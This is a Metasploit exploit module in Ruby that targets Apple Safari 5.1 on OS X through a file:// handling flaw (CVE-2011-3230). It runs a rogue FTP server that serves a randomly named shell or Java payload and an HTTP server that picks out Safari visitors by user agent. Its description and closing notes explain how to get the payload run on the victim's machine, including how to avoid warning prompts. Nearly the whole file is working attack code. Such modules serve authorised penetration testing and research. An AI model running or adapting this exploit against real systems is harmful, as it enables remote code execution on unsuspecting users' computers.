## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/service_manager' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::FtpServer def initialize(info={}) super(update_info(info, 'Name' => "Apple Safari file:// Arbitrary Code Execution", 'Description' => %q{ This module exploits a vulnerability found in Apple Safari on OS X platform. A policy issue in the handling of file:// URLs may allow arbitrary remote code execution under the context of the user. In order to trigger arbitrary remote code execution, the best way seems to be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or a fileformat that OS X might automount), and then execute it in /Volumes/[share]. If there's some kind of bug that leaks the victim machine's current username, then it's also possible to execute the payload in /Users/[username]/Downloads/, or else bruteforce your way to getting that information. Please note that non-java payloads (*.sh extension) might get launched by Xcode instead of executing it, in that case please try the Java ones instead. }, 'License' => MSF_LICENSE, 'Author' => [ 'Aaron Sigel', # Initial discovery 'sinn3r', # Metasploit (also big thanks to HD, and bannedit) ], 'References' => [ [ 'CVE', '2011-3230' ], [ 'OSVDB', '76389' ], [ 'URL', 'http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments' ], [ 'URL', 'http://support.apple.com/kb/HT5000' ] ], 'Payload' => { 'BadChars' => "", }, 'DefaultOptions' => { 'EXITFUNC' => "none", }, 'Platform' => %w{ java osx unix }, 'Arch' => [ ARCH_CMD, ARCH_JAVA ], 'Targets' => [ [ 'Safari 5.1 on OS X', {} ], [ 'Safari 5.1 on OS X with Java', {} ] ], 'Privileged' => true, 'DisclosureDate' => "Oct 12 2011", #Blog date 'DefaultTarget' => 0)) register_options( [ OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']), OptPort.new('SRVPORT', [true, "The local port to use for the FTP server (Do not change)", 21 ]), OptPort.new('HTTPPORT', [true, "The HTTP server port", 80]) ], self.class ) end # # Start the FTP aand HTTP server # def exploit # The correct extension name is necessary because that's how the LauncherServices # determines how to open the file. ext = (target.name =~ /java/i) ? '.jar' : '.sh' @payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext # Start the FTP server start_service() print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}") # Create our own HTTP server # We will stay in this functino until we manually terminate execution start_http() end # # Lookup the right address for the client # def lookup_lhost(c=nil) # Get the source address if datastore['SRVHOST'] == '0.0.0.0' Rex::Socket.source_address( c || '50.50.50.50') else datastore['SRVHOST'] end end # # Override the client connection method and # initialize our payload # def on_client_connect(c) r = super(c) @state[c][:payload] = regenerate_payload(c).encoded r end # # Handle FTP LIST request (send back the directory listing) # def on_client_command_list(c, arg) conn = establish_data_connection(c) if not conn c.put("425 Can't build data connection\r\n") return end print_status("Data connection setup") c.put("150 Here comes the directory listing\r\n") print_status("Sending directory list via data connection") month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'] m = month_names[Time.now.month-1] d = Time.now.day y = Time.now.year dir = "-rwxr-xr-x 1 ftp ftp #{@state[c][:payload].length.to_s} #{m} #{d} #{y} #{@payload_name}\r\n" conn.put(dir) conn.close print_status("Directory sent ok") c.put("226 Transfer ok\r\n") return end # # Handle the FTP RETR request. This is where we transfer our actual malicious payload # def on_client_command_retr(c, arg) conn = establish_data_connection(c) if not conn c.put("425 can't build data connection\r\n") return end print_status("Connection for file transfer accepted") c.put("150 Connection accepted\r\n") # Send out payload conn.put(@state[c][:payload]) conn.close return end # # Handle the HTTP request and return a response. Code borrorwed from: # msf/core/exploit/http/server.rb # def start_http(opts={}) # Ensure all dependencies are present before initializing HTTP use_zlib comm = datastore['ListenerComm'] if (comm.to_s == "local") comm = ::Rex::Socket::Comm::Local else comm = nil end # Default the server host / port opts = { 'ServerHost' => datastore['SRVHOST'], 'ServerPort' => datastore['HTTPPORT'], 'Comm' => comm }.update(opts) # Start a new HTTP server @http_service = Rex::ServiceManager.start( Rex::Proto::Http::Server, opts['ServerPort'].to_i, opts['ServerHost'], datastore['SSL'], { 'Msf' => framework, 'MsfExploit' => self, }, opts['Comm'], datastore['SSLCert'] ) @http_service.server_name = datastore['HTTP::server_name'] # Default the procedure of the URI to on_request_uri if one isn't # provided. uopts = { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }.update(opts['Uri'] || {}) proto = (datastore["SSL"] ? "https" : "http") print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") if (opts['ServerHost'] == '0.0.0.0') print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") end # Add path to resource @service_path = uopts['Path'] @http_service.add_resource(uopts['Path'], uopts) # As long as we have the http_service object, we will keep the ftp server alive while @http_service select(nil, nil, nil, 1) end end # # Kill HTTP/FTP (shut them down and clear resources) # def cleanup super # Kill FTP stop_service() # clear my resource, deregister ref, stop/close the HTTP socket begin @http_service.remove_resource(datastore['URIPATH']) @http_service.deref @http_service.stop @http_service.close @http_service = nil rescue end end # # Ensures that gzip can be used. If not, an exception is generated. The # exception is only raised if the DisableGzip advanced option has not been # set. # def use_zlib if !Rex::Text.zlib_present? && datastore['HTTP::compression'] fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!") end end # # Returns the configured (or random, if not configured) URI path # def resource_uri path = datastore['URIPATH'] || rand_text_alphanumeric(8+rand(8)) path = '/' + path if path !~ /^\// datastore['URIPATH'] = path return path end # # Handle HTTP requets and responses # def on_request_uri(cli, request) agent = request.headers['User-Agent'] if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/ print_error("Unsupported target: #{agent}") send_response(cli, 404, "Not Found", "

404 - Not Found

") return end html = <<-HTML HTML send_response(cli, 200, 'OK', html) end # # Create an HTTP response and then send it # def send_response(cli, code, message='OK', html='') proto = Rex::Proto::Http::DefaultProtocol res = Rex::Proto::Http::Response.new(code, message, proto) res['Content-Type'] = 'text/html' res.body = html cli.send_response(res) end end =begin - Need to find a suitable payload that can be executed without warning. Certain executables cannot be executed due to permission issues. A jar file doesn't have this problem, but we still get a "Are you sure?" warning before it can be executed. - Allow user-specified port to automount the share - Allow ftp USERNAME/PASSWORD (optional) =end